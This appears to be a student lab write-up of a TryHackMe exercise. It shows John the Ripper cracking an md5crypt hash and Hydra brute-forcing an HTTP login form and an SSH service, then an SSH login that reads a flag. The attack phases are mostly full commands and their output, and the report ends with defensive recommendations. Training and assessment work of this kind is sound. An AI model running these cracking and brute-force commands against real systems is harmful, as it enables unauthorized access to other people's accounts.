

Password Security Assessment & Brute Force Attack Simulation

Project Title:

Password Security Assessment & Brute Force Attack Simulation Using John the Ripper and Hydra

Target Environment: TryHackMe, AttackBox

Tools Used:

- Kali Linux
- John the Ripper
- Hydra
- RockYou Wordlist
- SSH

Prepared By: Pawan

Date: 30/05/2026

1. Executive Summary

This report presents the findings of a password security assessment and brute-force attack simulation conducted in a controlled laboratory environment using John the Ripper and Hydra.

Key Findings

- Weak password hash successfully cracked.
- Dictionary attack succeeded using RockYou wordlist.
- HTTP login credentials identified.
- SSH credentials discovered.

```
(root@kali)~/home/kali
# echo -n "pawan123" | openssl passwd -1 -stdin
$1$9XD0mgf$WALVsNFILE.NACKCm.nea/

(root@kali)~/home/kali
# nano hash.txt

(root@kali)~/home/kali
# cat hash.txt
$1$9XD0mgf$WALVsNFILE.NACKCm.nea/

(root@kali)~/home/kali
# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pawan123 (2)
1g 0:00:00:10 DONE (2026-05-30 05:07) 0.09578g/s 134216p/s 134216c/s 134216C/s payup1..pavimu1202
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

2. Attack Details

Phase 1: Password Hash Generation

Command Used

```
echo -n "pawan123" | openssl passwd -1 -stdin
```

Description

A password hash was generated using MD5Crypt algorithm and stored for security assessment.

Screenshot

```
(root@kali)~/home/kali
# echo -n "pawan123" | openssl passwd -1 -stdin
$1$9X0D0mgf$WALVsNFILE.NACKCm.nea/

(root@kali)~/home/kali
# nano hash.txt

(root@kali)~/home/kali
# cat hash.txt
$1$9X0D0mgf$WALVsNFILE.NACKCm.nea/
```

Phase 2: Password Cracking Using John The Ripper

Command

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

Result

Password Recovered:
pawan123

Finding

Weak passwords present in common wordlists can be recovered quickly.

```
(root@kali)~/home/kali
# john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pawan123
1g 0:00:00:05 DONE (2026-05-28 03:57) 0.1841g/s 258050p/s 258050c/s 258050C/s payup1..pavimu1202
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Phase 3: HTTP Brute Force Attack

Tool

Hydra

Description

A dictionary attack was performed against a web login form.

Result

Username : molly
Password : sunshine

```
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-30 08:38:24
[ERROR] File for passwords not found: /root/passlist.txt
root@ip-10-114-190-145:~# hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.114.154.245 http-post-form "/login:username='USER'&password='PASS':F=incorrect" -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-30 08:42:06
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l1:p:14344398), ~896525 tries per task
[DATA] attacking http-post-form://10.114.154.245:80/login:username='USER'&password='PASS':F=incorrect
[ATTEMPT] target 10.114.154.245 - login "molly" - pass "123456" - 1 of 14344398 [child 0] (0/0)
[ATTEMPT] target 10.114.154.245 - login "molly" - pass "12345" - 2 of 14344398 [child 1] (0/0)
[ATTEMPT] target 10.114.154.245 - login "molly" - pass "123456789" - 3 of 14344398 [child 2] (0/0)
[ATTEMPT] target 10.114.154.245 - login "molly" - pass "password" - 4 of 14344398 [child 3] (0/0)
[ATTEMPT] target 10.114.154.245 - login "molly" - pass "carlos" - 44 of 14344398 [child 13] (0/0)
[ATTEMPT] target 10.114.154.245 - login "molly" - pass "jennifer" - 45 of 14344398 [child 7] (0/0)
[ATTEMPT] target 10.114.154.245 - login "molly" - pass "joshua" - 46 of 14344398 [child 14] (0/0)
[ATTEMPT] target 10.114.154.245 - login "molly" - pass "bubbles" - 47 of 14344398 [child 15] (0/0)
[80][http-post-form] host: 10.114.154.245 login: molly password: sunshine
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-30 08:42:11
root@ip-10-114-190-145:~# hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.114.154.245 http-post-form "/login:username='USER'&password='PASS':F=incorrect" -V
```

Phase 4: SSH Brute Force Attack

Tool

Hydra

Result

Username : molly
Password : butterfly

```
root@ip-10-114-190-145:~# hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.114.154.245 -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-30 08:51:27
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344398 login tries (l1:p:14344398), ~3586180 tries per task
[DATA] attacking ssh://10.114.154.245:22/
[22][ssh] host: 10.114.154.245 login: molly password: butterfly
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-30 08:52:25
```

Phase 5: Access Verification

Command

ssh molly@10.x.x.x

Result

Successful authentication achieved.

```
root@ip-10-114-190-145:~# ssh molly@10.114.154.245
The authenticity of host '10.114.154.245 (10.114.154.245)' can't be established.
ED25519 key fingerprint is SHA256:zZzhPWzRfVNmCSC/94bZ3S0SwCrZoZDj0Sp2jgxZP8g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.114.154.245' (ED25519) to the list of known hosts.
molly@10.114.154.245's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-1083-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

System information as of Sat 30 May 2026 08:57:45 AM UTC

System load:  0.0          Processes:    107
Usage of /:   18.3% of 14.47GB   Users logged in:  0
Memory usage: 19%          IPv4 address for ens5: 10.114.154.245
Swap usage:   0%

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.
0 updates can be applied immediately.

7 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Tue Dec 17 14:37:49 2019 from 10.8.11.98
molly@ip-10-114-154-245:~$ ls
flag2.txt
molly@ip-10-114-154-245:~$ cat flag2.txt
THM{c8eeb0468fbbadea859baeb33b2541b}
```

3. Risk Assessment

Finding	Impact	Risk
Weak Password	Credential Exposure	High
Dictionary Attack Success	Unauthorized Access	High
SSH Credential Discovery	Remote Access	Critical
Password Reuse	Account Compromise	High

Overall Risk Level

High

4. Security Recommendations

Password Security

- Use minimum 12-14 character passwords.
- Avoid dictionary words.
- Enforce password complexity.
- Enable MFA.

Monitoring

- Monitor failed login attempts.
 - Configure brute force alerts.
 - Maintain authentication logs.
-

5. Conclusion

Conclusion

The assessment demonstrated that weak passwords can be cracked using publicly available tools such as John the Ripper and Hydra. Successful credential discovery led to authenticated access, highlighting the importance of strong password policies and multi-factor authentication.
